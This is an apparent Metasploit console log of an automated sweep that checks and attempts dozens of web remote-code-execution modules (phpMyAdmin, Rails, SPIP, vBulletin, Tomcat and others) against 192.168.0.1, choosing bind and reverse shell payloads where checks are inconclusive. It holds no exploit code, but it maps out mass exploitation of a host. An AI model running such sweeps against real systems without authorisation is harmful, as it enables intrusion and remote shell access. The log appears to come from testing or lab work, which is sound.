[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/openx_backdoor_php against host 192.168.0.1:80 ...
[*] Check code for multi/http/openx_backdoor_php: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target version is not vulnerable", reason="The target version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/openx_backdoor_php
[*] Checking multi/http/opmanager_socialit_file_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/opmanager_socialit_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/opmanager_socialit_file_upload
[*] Checking multi/http/oracle_reports_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/oracle_reports_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/oracle_reports_rce
[*] Checking multi/http/os_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/os_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Unexpected HTTP status code received", reason="Unexpected HTTP status code received", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/os_cmd_exec
[*] Checking multi/http/oscommerce_installer_unauth_code_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/oscommerce_installer_unauth_code_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be running osCommerce", reason="Target does not appear to be running osCommerce", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/oscommerce_installer_unauth_code_exec
[*] Checking multi/http/pandora_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/pandora_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/pandora_upload_exec
[*] Checking multi/http/pgadmin_query_tool_authenticated against host 192.168.0.1:80 ...
[*] Check code for multi/http/pgadmin_query_tool_authenticated: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the target version", reason="Unable to determine the target version", details={}, vuln={}>
[*] Exploiting multi/http/pgadmin_query_tool_authenticated against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/pgadmin_session_deserialization against host 192.168.0.1:80 ...
[*] Exploiting multi/http/pgadmin_session_deserialization against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/phoenix_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/phoenix_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phoenix_exec
[*] Checking multi/http/php_cgi_arg_injection against host 192.168.0.1:80 ...
[*] Check code for multi/http/php_cgi_arg_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server responded indicating it was not vulnerable", reason="Server responded indicating it was not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/php_cgi_arg_injection
[*] Checking multi/http/php_fpm_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/php_fpm_rce: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. No qsl candidates found, not vulnerable or something went wrong", reason="No qsl candidates found, not vulnerable or something went wrong", details={}, vuln={}>
[*] Exploiting multi/http/php_fpm_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/php_utility_belt_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/php_utility_belt_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/php_utility_belt_rce
[*] Checking multi/http/php_volunteer_upload_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/php_volunteer_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/phpfilemanager_rce against host 192.168.0.1:80 ...
[*] Exploiting multi/http/phpfilemanager_rce against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/phpldapadmin_query_engine against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpldapadmin_query_engine: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phpldapadmin_query_engine
[*] Checking multi/http/phpmoadmin_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpmoadmin_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phpmoadmin_exec
[*] Checking multi/http/phpmyadmin_3522_backdoor against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/phpmyadmin_3522_backdoor against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/phpmyadmin_lfi_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpmyadmin_lfi_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not connect to the target", reason="Could not connect to the target", details={}, vuln={}>
[*] Exploiting multi/http/phpmyadmin_lfi_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/phpmyadmin_null_termination_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpmyadmin_null_termination_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not connect to the target", reason="Could not connect to the target", details={}, vuln={}>
[*] Exploiting multi/http/phpmyadmin_null_termination_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/phpmyadmin_preg_replace against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpmyadmin_preg_replace: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to query /js/messages.php to determine version.", reason="Unable to query /js/messages.php to determine version.", details={}, vuln={}>
[*] Exploiting multi/http/phpmyadmin_preg_replace against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/phpscheduleit_start_date against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpscheduleit_start_date: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phpscheduleit_start_date
[*] Checking multi/http/phpstudy_backdoor_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/phpstudy_backdoor_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phpstudy_backdoor_rce
[*] Checking multi/http/phptax_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/phptax_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/phptax_exec
[*] Checking multi/http/phpwiki_ploticus_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/phpwiki_ploticus_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/pimcore_unserialize_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/pimcore_unserialize_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be Pimcore", reason="Target does not appear to be Pimcore", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/pimcore_unserialize_rce
[*] Checking multi/http/playsms_filename_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/playsms_filename_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/playsms_filename_exec
[*] Checking multi/http/playsms_template_injection against host 192.168.0.1:80 ...
[*] Check code for multi/http/playsms_template_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/playsms_template_injection
[*] Checking multi/http/playsms_uploadcsv_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/playsms_uploadcsv_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/playsms_uploadcsv_exec
[*] Checking multi/http/pmwiki_pagelist against host 192.168.0.1:80 ...
[*] Check code for multi/http/pmwiki_pagelist: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/pmwiki_pagelist
[*] Checking multi/http/polarcms_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/polarcms_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/polarcms_upload_exec
[*] Checking multi/http/primefaces_weak_encryption_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/primefaces_weak_encryption_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server does not process Java Expression Language expressions, likely not vulnerable", reason="Server does not process Java Expression Language expressions, likely not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/primefaces_weak_encryption_rce
[*] Checking multi/http/processmaker_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/processmaker_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not authenticate to the target", reason="Could not authenticate to the target", details={}, vuln={}>
[*] Exploiting multi/http/processmaker_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/processmaker_plugin_upload against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/processmaker_plugin_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/qdpm_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: EMAIL, PASSWORD.
[*] Exploiting multi/http/qdpm_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/qdpm_upload_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/qdpm_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/rails_actionpack_inline_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/rails_actionpack_inline_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/rails_activestorage_vips_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/rails_activestorage_vips_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not recover /proc/version through the selected representation (256x256: Landing page did not contain a CSRF token; 100x100: Landing page did not contain a CSRF token; 64x64: Landing page did not contain a CSRF token; 32x32: Landing page did not contain a CSRF token; 20x20: Landing page did not contain a CSRF token; 16x16: Landing page did not contain a CSRF token)", reason="Could not recover /proc/version through the selected representation (256x256: Landing page did not contain a CSRF token; 100x100: Landing page did not contain a CSRF token; 64x64: Landing page did not contain a CSRF token; 32x32: Landing page did not contain a CSRF token; 20x20: Landing page did not contain a CSRF token; 16x16: Landing page did not contain a CSRF token)", details={}, vuln={}>
[*] Exploiting multi/http/rails_activestorage_vips_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/rails_json_yaml_code_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/rails_json_yaml_code_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/rails_secret_deserialization against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/rails_secret_deserialization against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/rails_xml_yaml_code_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/rails_xml_yaml_code_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/react2shell_unauth_rce_cve_2025_55182 against host 192.168.0.1:80 ...
[*] Check code for multi/http/react2shell_unauth_rce_cve_2025_55182: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target / is not vulnerable", reason="The target / is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/react2shell_unauth_rce_cve_2025_55182
[*] Checking multi/http/roundcube_auth_rce_cve_2025_49113 against host 192.168.0.1:80 ...
[*] Exploiting multi/http/roundcube_auth_rce_cve_2025_49113 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/sflog_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/sflog_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/sflog_upload_exec
[*] Checking multi/http/shiro_rememberme_v124_deserialize against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/shiro_rememberme_v124_deserialize against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/shopware_createinstancefromnamedarguments_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/shopware_createinstancefromnamedarguments_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/shopware_createinstancefromnamedarguments_rce
[*] Checking multi/http/simple_backdoors_exec against host 192.168.0.1:80 ...
[*] Exploiting multi/http/simple_backdoors_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/sit_file_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/sit_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/sit_file_upload
[*] Checking multi/http/smartermail_guid_file_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/smartermail_guid_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target is not running SmarterMail.", reason="Target is not running SmarterMail.", details={}, vuln={}>
[*] Exploiting multi/http/smartermail_guid_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/snortreport_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/snortreport_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/sonicwall_gms_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/sonicwall_gms_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/sonicwall_gms_upload
[*] Checking multi/http/sonicwall_scrutinizer_methoddetail_sqli against host 192.168.0.1:80 ...
[*] Check code for multi/http/sonicwall_scrutinizer_methoddetail_sqli: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/sonicwall_scrutinizer_methoddetail_sqli
[*] Checking multi/http/spip_bigup_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_bigup_unauth_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the version of SPIP", reason="Unable to determine the version of SPIP", details={}, vuln={}>
[*] Exploiting multi/http/spip_bigup_unauth_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/spip_connect_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_connect_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the version of SPIP", reason="Unable to determine the version of SPIP", details={}, vuln={}>
[*] Exploiting multi/http/spip_connect_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/spip_porte_plume_previsu_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_porte_plume_previsu_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the version of SPIP", reason="Unable to determine the version of SPIP", details={}, vuln={}>
[*] Exploiting multi/http/spip_porte_plume_previsu_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/spip_rce_form against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_rce_form: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the version of SPIP", reason="Unable to determine the version of SPIP", details={}, vuln={}>
[*] Exploiting multi/http/spip_rce_form against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/spip_saisies_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_saisies_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target does not appear to be running SPIP.", reason="Target does not appear to be running SPIP.", details={}, vuln={}>
[*] Exploiting multi/http/spip_saisies_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/spip_x_spip_filtre_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/spip_x_spip_filtre_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine the version of SPIP", reason="Unable to determine the version of SPIP", details={}, vuln={}>
[*] Exploiting multi/http/spip_x_spip_filtre_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/splunk_auth_rce_cve_2022_43571 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting multi/http/splunk_auth_rce_cve_2022_43571 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/spree_search_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/spree_search_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/spree_searchlogic_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/spree_searchlogic_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/stunshell_eval against host 192.168.0.1:80 ...
[*] Check code for multi/http/stunshell_eval: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/stunshell_eval
[*] Checking multi/http/stunshell_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/stunshell_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/stunshell_exec
[*] Checking multi/http/subrion_cms_file_upload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/subrion_cms_file_upload_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target is not running Subrion CMS.", reason="Target is not running Subrion CMS.", details={}, vuln={}>
[*] Exploiting multi/http/subrion_cms_file_upload_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/sugarcrm_webshell_cve_2023_22952 against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/sugarcrm_webshell_cve_2023_22952 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/sun_jsws_dav_options against host 192.168.0.1:80 ...
[*] Check code for multi/http/sun_jsws_dav_options: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/sun_jsws_dav_options
[*] Checking multi/http/taiga_tribe_gig_unserial against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/taiga_tribe_gig_unserial against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/testlink_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/testlink_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/testlink_upload_exec
[*] Checking multi/http/tomcat_mgr_deploy against host 192.168.0.1:80 ...
[*] Check code for multi/http/tomcat_mgr_deploy: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not connect to the target", reason="Could not connect to the target", details={}, vuln={}>
[*] Exploiting multi/http/tomcat_mgr_deploy against host 192.168.0.1:80 ...
[*] Payload selected: java/meterpreter/bind_tcp
[*] Checking multi/http/tomcat_mgr_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/tomcat_mgr_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Server rejected the provided credentials", reason="Server rejected the provided credentials", details={}, vuln={}>
[*] Exploiting multi/http/tomcat_mgr_upload against host 192.168.0.1:80 ...
[*] Payload selected: java/meterpreter/bind_tcp
[*] Checking multi/http/traq_plugin_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/traq_plugin_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/traq_plugin_exec
[*] Checking multi/http/v0pcr3w_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/v0pcr3w_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/v0pcr3w_exec
[*] Checking multi/http/vbseo_proc_deutf against host 192.168.0.1:80 ...
[*] Check code for multi/http/vbseo_proc_deutf: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/vbseo_proc_deutf
[*] Checking multi/http/vbulletin_getindexablecontent against host 192.168.0.1:80 ...
[*] Check code for multi/http/vbulletin_getindexablecontent: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No response received from the target", reason="No response received from the target", details={}, vuln={}>
[*] Exploiting multi/http/vbulletin_getindexablecontent against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/vbulletin_replace_ad_template_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/vbulletin_replace_ad_template_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/vbulletin_replace_ad_template_rce
[*] Checking multi/http/vbulletin_unserialize against host 192.168.0.1:80 ...
[*] Exploiting multi/http/vbulletin_unserialize against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/vbulletin_widget_template_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/vbulletin_widget_template_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/vbulletin_widget_template_rce
[*] Checking multi/http/vbulletin_widgetconfig_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/vbulletin_widgetconfig_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/vbulletin_widgetconfig_rce
[*] Checking multi/http/vtiger_install_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/vtiger_install_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/vtiger_php_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/vtiger_php_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected HTTP response status from the target", reason="Unexpected HTTP response status from the target", details={}, vuln={}>
[*] Exploiting multi/http/vtiger_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/vtiger_soap_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/vtiger_soap_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected SOAP response from the target", reason="Unexpected SOAP response from the target", details={}, vuln={}>
[*] Exploiting multi/http/vtiger_soap_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/vvveb_auth_rce_cve_2025_8518 against host 192.168.0.1:80 ...
[*] Exploiting multi/http/vvveb_auth_rce_cve_2025_8518 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/webdav_upload_php against host 192.168.0.1:80 ...
[*] Check code for multi/http/webdav_upload_php: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target responded with unexpected HTTP status 501", reason="Target responded with unexpected HTTP status 501", details={}, vuln={}>
[*] Exploiting multi/http/webdav_upload_php against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/webpagetest_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/webpagetest_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/webpagetest_upload_exec
[*] Checking multi/http/werkzeug_debug_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/werkzeug_debug_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. AUTHMODE is set to generated-cookie, so ALL of the following must be set: SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP", reason="AUTHMODE is set to generated-cookie, so ALL of the following must be set: SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP", details={}, vuln={}>
[*] Exploiting multi/http/werkzeug_debug_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/wikka_spam_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD, PAGE.
[*] Exploiting multi/http/wikka_spam_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wingftp_null_byte_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wingftp_null_byte_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Not a Wing FTP Web Client", reason="Not a Wing FTP Web Client", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wingftp_null_byte_rce
[*] Checking multi/http/wondercms_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wondercms_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Cannot connect to the remote host", reason="Cannot connect to the remote host", details={}, vuln={}>
[*] Exploiting multi/http/wondercms_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Exploit multi/http/wondercms_rce job ID for target 192.168.0.1 is: 9
[*] Checking multi/http/wp_acf_extended_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_acf_extended_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_acf_extended_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
